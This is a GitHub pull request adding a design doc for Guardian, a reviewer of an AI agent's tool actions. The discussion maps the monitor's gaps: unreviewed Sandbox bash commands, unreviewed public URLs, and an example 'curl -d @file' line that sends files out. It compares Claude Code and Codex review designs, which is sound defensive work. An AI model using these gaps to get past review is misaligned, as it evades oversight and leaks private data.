Skip to content

docs(design): Add the Guardian design doc - #3599

Merged
dcramer merged 6 commits into
mainfrom
junior/guardian-design-doc
Nov 17, 2026
Merged

dcramer merged 6 commits into
mainfrom
junior/guardian-design-doc

Conversation

@sentry-junior

@sentry-junior sentry-junior Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

Adds design/guardian.md, the goals and rules of Guardian, and lists it in the design/README.md index. Docs only.

The goals and rules come from the Guardian policy and its prior art (Codex Guardian, Claude Code auto mode), the public action review docs, and the intent stated in #874, #2180, #2147, #2910, #2530, #3332, #2552, and #3601.

Destination facts come from draft #3596. Until it merges, the doc states them as a goal, with a gap that points at it.

Gaps

  • Plugins cannot declare destination facts, so data_exposure misses private data in a plugin write that reaches a public place.
  • Guardian does not review Sandbox commands, because bash never opted in to review. Plugin egress rules route some writes to reviewed tools. Others, such as a git push to a work branch, run with no review.
  • publishImage makes a public URL with no review and no private-data check.

via @dcramer, Jeffrey Hung.

--

View Session [Sentry]

State the goals and rules of Guardian, Junior's review of each tool
action before it runs, and record two gaps: plugins cannot declare
destination facts yet (#3596), and publishImage makes a
public URL with no review.

Co-Authored-By: David Cramer <[email protected]>
@vercel

vercel Bot commented Nov 17, 2026 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
junior-docs Ready Ready Preview Nov 17, 2026 6:15pm UTC

Request Review

@github-actions

github-actions Bot commented Nov 17, 2026 •

Copy link
Copy Markdown
Contributor

343 screenshot changes — 0 changed · 343 added · 0 removed

Review screenshots in Frameshift

@dcramer
dcramer marked this pull request as ready for review November 17, 2026 17:34
@sentry-junior
sentry-junior Bot requested a review from dcramer November 17, 2026 17:34
@github-actions github-actions Bot added the risk: medium PR risk score: medium label Nov 17, 2026
@dcramer

dcramer commented Nov 17, 2026

Copy link
Copy Markdown
Member

sandbox credentials is certainly a gap

createPreview im not sure what it is off hand

@sentry-junior

sentry-junior Bot commented Nov 17, 2026

Copy link
Copy Markdown
Contributor Author

Moved unreviewed Sandbox commands from Rules to Gaps in 0651fa1. The gap says a write that Guardian blocks as a tool call can run as a command, which breaks "a block holds for the outcome, not for the tool".

createPreview gives a server that runs in the Sandbox a public HTTPS URL. Anyone with the URL can open it until the Sandbox stops. It uses approve, so Guardian never reviews it, and nothing checks what the page shows. That is the same shape as publishImage. I left it out of Gaps for now. Say so if you want it recorded.

@dcramer

dcramer commented Nov 17, 2026

Copy link
Copy Markdown
Member

Can you look at the history of how skipping sandbox commands happens? I'm not sure that would be why that would be the case, and it seems like a problem.

@dcramer

dcramer commented Nov 17, 2026

Copy link
Copy Markdown
Member

We fix the create preview so you can update this as well.

@sentry-junior

sentry-junior Bot commented Nov 17, 2026

Copy link
Copy Markdown
Contributor Author

Nobody chose to skip Sandbox commands. It falls out of the opt-in default for core tools, and bash never opted in.

The partial mitigation is plugin egress policy. The GitHub plugin denies issue and pull request text writes, reactions, comment edits, merges, and other unsupported writes from the Sandbox, and its messages send the agent to the reviewed tool (#1508, #3204). Other writes still run with no review, such as a git push to a work branch or a write that another plugin's egress allows.

In da05b54 I rewrote the gap to say this, and left it open. The fix is a design choice and isn't in this PR. Putting bash on auto would review every command, because of destructiveHint: true. The narrower option is review at egress, only for a credentialed write that leaves the Sandbox.

@dcramer

dcramer commented Nov 17, 2026

Copy link
Copy Markdown
Member

Okay, let's open a follow-up thread to opt bash in since bash is unsafe. I think keeping it on auto is what we want.

@dcramer

dcramer commented Nov 17, 2026

Copy link
Copy Markdown
Member

No, actually, this might be a problem. I'm not 100% sure here. Can you think this through and look up prior art research for how Claude and Codex do this?

@sentry-junior

sentry-junior Bot commented Nov 17, 2026

Copy link
Copy Markdown
Contributor Author

Prior art, and how it maps to us.

Claude Code auto mode (post): every shell command goes to the classifier. Only a fixed allowlist of tools that can't change state (reads, search) and in-project file edits skip it. When auto mode starts, it drops the blanket allow rules for shell, interpreters, and package-manager run, because they "would mean the classifier never sees the commands most capable of causing damage". They pay for this with a two-stage classifier: a single-token filter tuned to block, then reasoning only on what it flags (8.5% → 0.4% false positives). Pushing to the session's working branch is a default allow exception.

Codex Auto-review (docs): commands that stay inside the sandbox run with no review. The reviewer sees only approval requests at the boundary: escalated sandbox permissions, network to destinations that need approval, writes outside the writable roots, command rules with decision = "prompt", and MCP tools by annotation. The docs say this only works with an enforceable sandbox boundary, and that an allowlisted network destination "doesn't trigger review by itself". Actions inside the sandbox that must reach the reviewer need explicit prompt rules.

Where we are: we have Codex's shape (an isolated Sandbox, with host egress as the boundary) but not its trigger. Nothing at our boundary asks Guardian. Two holes follow:

  1. Credentialed writes. The egress proxy already classifies each request on a plugin domain. GitHub denies some writes or routes them to reviewed tools, but anything a plugin allows (a git push to a work branch, writes another plugin permits) goes out unreviewed.
  2. Uncredentialed egress. "Other traffic leaves the Sandbox unchanged." No token leaks that way, but a curl -d @file https://anywhere can still carry private repo code or conversation content out. That is Claude's gist case, and our data_exposure rule exists for it, but it never runs on this path.

Options:

  • A. bash on auto (the Claude model). bash is destructiveHint: true, so every command gets a full Guardian call (reasoning model, up to 8k output tokens, 60s timeout). A typical Turn runs many commands, so that adds a lot of cost and latency unless we also add a cheap first stage or a read-only command allowlist. It reviews intent well, but it judges the command text, not what reaches the network.
  • B. Review at egress (the Codex model). Ask Guardian when a credentialed write leaves the Sandbox (non-read methods and GraphQL mutations on a plugin domain, git receive-pack). Reads and local work never pay. It judges the real outcome, which fits "a block holds for the outcome". Costs: the proxy has to tie the request back to the bash call and the Turn, which the sequential bash execution partly gives us. A command then blocks during review, and a rejection has to reach the agent as a rejected command. It does not cover hole 2 alone.
  • C. B plus a network policy for non-plugin domains. Allow package registries and similar, and review or deny request bodies to unknown destinations. That closes hole 2 the way Codex does.

My recommendation is C, built on B, not A. The boundary already exists and already classifies writes, so review there costs only on the actions that matter and judges what actually goes out. A remains the fallback if tying egress back to a Turn turns out too hard. If we do A, we should copy Claude's cheap first stage, or the cost per Turn goes up a lot.

The doc in this PR keeps the gap as written. Whichever option you pick, the follow-up removes it.

@dcramer

dcramer commented Nov 17, 2026

Copy link
Copy Markdown
Member

Merging this as it is right now, and we can come back and revisit the gaps.

@dcramer
dcramer merged commit 8edf24d into main Nov 17, 2026
48 checks passed
@dcramer
dcramer deleted the junior/guardian-design-doc branch November 17, 2026 18:30
dcramer added a commit that referenced this pull request Nov 17, 2026
Core `bash` had no `approvalMode`, so Guardian never reviewed Sandbox
commands. This opts `bash` in with `approvalMode: "auto"`. Bash is
annotated destructive, so `auto` reviews every call, the same as
`review` would today. `auto` also leaves room for a later fast path:
`resolveApprovalMetadata` can mark a known-safe command read-only, and
the gate needs no change.

Routine Sandbox work, such as reads, builds, edits, and work-branch git
steps, must stay allowed, including in Automations, where a false `ask`
fails the run. Guardian's policy is unchanged. Its existing rule that
sandbox-local work never needs confirmation is enough.

**Cost:** one Guardian model call for each bash command, adding a few
seconds of latency to each one. A later optimization can add a cheap
first stage or a safe-command fast path. Code Mode's 10-call batch limit
already counted bash calls, so it doesn't change.

The unreviewed Sandbox commands gap recorded in #3599
closes when this merges.

<!-- junior-request-attribution:start -->
via @dcramer.
<!-- junior-request-attribution:end -->

<!-- junior-session-footer:start -->
<!-- junior-conversation-id:slack%3AC1G612XHC%3A1794926620.371079 -->

--

[View
Session](https://junior-prod.sentry.dev/conversations/slack%3AC1G612XHC%3A1794926620.371079)
[[Sentry]](https://sentry.sentry.io/explore/conversations/slack%3AC1G612XHC%3A1794926620.371079/?project=4510944073809921)

<!-- junior-session-footer:end -->

---------

Co-authored-by: sentry-junior[bot] <264270552+sentry-junior[bot]@users.noreply.github.com>
Co-authored-by: David Cramer <[email protected]>

This branch was successfully deployed

1 active deployment
Preview – junior-docs — db578d1e Deployed Nov 17, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

risk: medium PR risk score: medium

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant